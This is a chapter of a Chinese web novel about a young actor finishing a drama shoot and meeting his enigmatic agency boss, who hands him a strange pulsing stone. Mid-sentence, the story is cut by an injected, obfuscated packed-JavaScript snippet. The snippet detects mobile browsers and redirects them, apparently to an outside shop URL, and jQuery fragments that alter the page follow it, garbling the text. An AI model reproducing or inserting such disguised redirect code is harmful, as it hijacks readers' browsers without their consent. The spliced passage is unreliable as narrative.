《踏鹤归》的拍摄，在平阜的第一场细雪中画上了句号。
最后一场杀青戏结束，片场惯例的欢呼、拥抱、鲜花和香槟，苏燃被众人簇拥在中间，脸上带着些许恍惚的笑容。
三个月，仿佛一场漫长而逼真的梦境，此刻骤然醒来，沈归鹤的灵魂似乎还残留在体内，让他对着镜头的笑容都带着一丝尚未褪尽的疏离。
赵导用力拍了拍他的肩膀：“小子，不错！没让我看走眼！”
谭老爷子也难得地对他点了点头，说了句：“路子走对了，以后别歪。”
这些认可让苏燃心中涌起一股暖流，冲淡了些许久悬心中的空虚感。他下意识地在人群中寻找那个总是冷静旁观的身影，但萧景淮并未出现在杀青宴上。小慧悄悄告诉他，萧哥有重要会议，已经先回公司了。
接下来的几天，是惯例的媒体采访、粉丝见面会（规模不大，但气氛热烈），以及配合剧集前期宣传的各类物料拍摄。
苏燃像个被上好发条的玩偶，在萧景淮团队的精准调度下，高效地完成每一项工作。他的微博粉丝数在缓慢而稳定地增长，超话里开始有零星的讨论和产出，一切都按照“捧红一个新星”的标准流程稳步推进。
终于，宣传活动暂时告一段落。苏燃回到回青田大厦，等待下一步安排。
再次踏入这栋高耸入云的玻璃幕墙大楼，苏燃的心境与数月前初次走进萧景淮办公室时已然不同。那时是忐忑、迷茫，夹杂着一丝绝处逢生的庆幸。如今，他带着一部已拍摄完毕、备受期待的男主作品归来，走在光可鉴人的黑曜石地面上，偶尔有认出他的工作人员投来好奇或评估的目光，他也能够维持表面的平静，点头致意。
大楼内部依旧安静得近乎肃穆，中央空调输送着恒定的温度，清透的空气里弥漫着极淡的木质香。巨大的电子屏幕上滚动着公司旗下艺人的最新动态和业绩数据，冰冷的数字和流光溢彩的形象交织，构成这个造星工厂无声的脉搏。
苏燃被直接带到了四十二楼，萧景淮的专属楼层。与楼下公共区域的科技感不同，这一层的装饰更显“私人”化，或者说，更符合萧景淮的审美，冷色调，大量运用天然材质，石材、实木、皮革，线条简洁利落，几乎没有多余的装饰。
助理将他引到萧景淮办公室外间的休息区等候：“萧哥正在处理一些事务，请您稍等。”
休息区很安静，只有角落里一株形态奇特的盆栽植物，茎干挺拔修长，带着一圈圈岁月沉淀的环状叶痕，顶端簇生着剑形叶片，革质的叶面泛着深墨绿的冷光，叶脉如银线般细细勾勒，在顶灯的柔光里晕出几分幽暗的光泽。
苏燃认得，这似乎是一种极其罕见的观赏品种，据说对生长环境要求苛刻，价格不菲。它被放置在一个造型古朴的青铜花樽里，花樽表面刻着繁复的、难以辨认的纹路，樽口隐约凝结着一点似有若无的红，像极了传说里龙血滴落的痕迹。
等待的时间并不长，但足够苏燃将拍摄期间的经历在脑海里快速过了一遍。连带着，也避免不了的再次想起陈铎受伤的事。他后来零星听到些传闻，说是恢复情况不乐观，可能影响以后的演艺生涯，青田似乎也并未给予太多额外的关照。
苏燃心中不免唏嘘，但也仅止于此。这个圈子的残酷，他并非一无所知，只是第一次如此近距离地感受到“意外”可以如此轻易地改变一个人的轨迹。
办公室的门无声滑开，萧景淮的身影出现在门口。他似乎是刚从某个正式场合回来，换了身居家的深灰色羊绒衫和同色系长裤，没戴眼镜，少了些精英式的锐利，但那目光落在苏燃身上时，带来的审视感并未减弱分毫。
“进来。”他转身走回办公室。
苏燃跟了进去。
萧景淮在办公桌后坐下，示意苏燃坐对面的椅子。
那面从外看是普通玻璃的幕墙，此刻内里有微光流转，隐隐构成不断变幻、难以捉摸的图案，像某种活着的脉络，又似深水下的倒影。
“拍摄结束了，感觉如何？”他问，语气是惯常的平淡，听不出情绪。
“收获很大，赵导和谭老师教了我很多。”苏燃谨慎地回答，“也……更清楚自己还有很多不足。”
“知道自己不足是好事。”萧景淮微微颔首，指尖在光滑的桌面上无意识地轻轻敲击，发出极轻微的笃笃声，“《踏鹤归》的后期制作和排期宣传，公司会有专业团队跟进。你需要做的，是在成片播出前，维持并提升自己的‘价值’。”
他打开桌上的一个平板，划动几下，转向苏燃。屏幕上是几份文件概要和新项目的评估报告。
“目前递过来的本子有几个，质量参差不齐。有两个网剧男主，制作班底一般，但播出平台流量尚可，可以作为维持曝光的选择。一个电影男三，导演有想法，但项目整体风险较高。”萧景淮语速平稳，像在分析财务报表，“我的建议是，暂时不接新戏。”
苏燃愣了一下，有些意外。
“《踏鹤归》是你的第一块招牌，这块招牌必须擦亮。盲目接戏消耗口碑，不如集中资源，把接下来的宣传期做到极致。”萧景淮放下平板，目光直视苏燃，“在这期间，你需要进行专项提升。台词、仪态、微表情管理、面对不同媒体的应变能力，还有……更深度的角色共情训练。”
他顿了顿，身体微微前倾，带来无形的压力：“沈归鹤你完成得不错，但那是剧本写的沈归鹤。我要的，是你能在下一个角色里，挖掘出连编剧都未必写透的东西。那才是你真正的竞争力。”
苏燃感到心跳微微加快。萧景淮的话，既是一种肯定，也是一种更高的、近乎苛刻的要求。他点了点头：“我明白，萧哥。我会努力的。”
“训练计划已经安排好了，明天开始，会有专门的老师对你进行一对一强化。”萧景淮靠回椅背，目光扫过苏燃的脸，在他眼尾那点朱红上停留了一下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228481|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，“另外，公司给你接了几个品牌合作意向，偏向国风和新锐设计师，调性比较贴合你目前的形象。具体评估后会给你看。”
“好的，萧哥。”
公事似乎告一段落。办公室里有短暂的沉默。窗外日影西斜，玻璃幕墙内部的流光却似乎更清晰了，蜿蜒流动，如同有生命的脉络。
萧景淮忽然开口，语气似随意，却让苏燃心头莫名一紧：“拍摄期间，有没有再出现……试镜时那种‘感觉’？”
苏燃呼吸一滞。他没想到萧景淮会突然问起这个。他仔细回忆，除了杀青前最后那场带着玄幻色彩的概念拍摄，在特定光影下有过一丝恍惚外，似乎并没有再出现那种清晰的幻觉。
“没有，萧哥。可能就是当时压力太大，有点走神。”他选择了一个安全的回答。
萧景淮静静地看着他，目光深邃难测。他没有追问，只是几不可察地点了下头：“没有就好。演员需要投入，但不能迷失。分清戏和现实，是基本素养。”
这话听起来像是告诫，但苏燃总觉得，他意有所指。
萧景淮从抽屉里取出一只乌木匣子，推至桌沿。匣子没锁，表面光滑如镜，映着天花板的冷光。“这个，你带回去。”
苏燃接过，匣子触手温润，沉甸甸的。
“萧哥，这是……？”
“一点小东西，助你凝神。”萧景淮语气平淡，“以后若再觉得心神不宁，或又出现类似‘走神’的情况，可以看看它。”
苏燃打开匣盖。里面衬着墨绿色丝绒，中央嵌着一颗鸽子蛋大小的黑色石子。石头非金非玉，表面光滑，却在室内光线下，流转着极其细微的银红色暗芒，仿佛有极淡的星沙被封存在墨色深处。苏燃将它托在掌心，能感到一丝稳定的、类似心跳的微弱搏动，透过皮肤传来。
“这石头……”
“北山偶然得到的旧物，没多大用处，只对凝神助眠有些效果，给你拿着玩吧。”萧景淮截断他的疑问，显然不欲多言，“明天早上九点，到三十七楼A3训练室报到。会有老师等你。”萧景淮结束了这次谈话，“出去吧。”
“是，萧哥。”苏燃起身，恭敬地退出了办公室。
门在他身后无声合拢。
萧景淮独自坐在宽大的办公桌后，目光投向玻璃幕墙。墙内的流光随着他的注视，逐渐汇聚、变形，最终隐约勾勒出一片山谷的虚影，周围群山起伏，峰峦叠翠，谷内幽静院落一方池塘，池边大树枝干遒劲，根系深扎，仿佛与那个山谷、乃至整片山林的深处相连。
他的指尖再次敲击桌面，这一次，节奏缓慢而规律。
“没有感觉了？”他低声自语，嘴角勾起一丝极淡的、近乎冰冷的弧度，“还是……藏得更深了？”
大厦之下，城市依旧在喧嚣中运转。刚刚离开他办公室的年轻人，手里拿着乌木匣子走出旋转门，抬头望进初冬午后那片薄得像一层碎银箔的日光。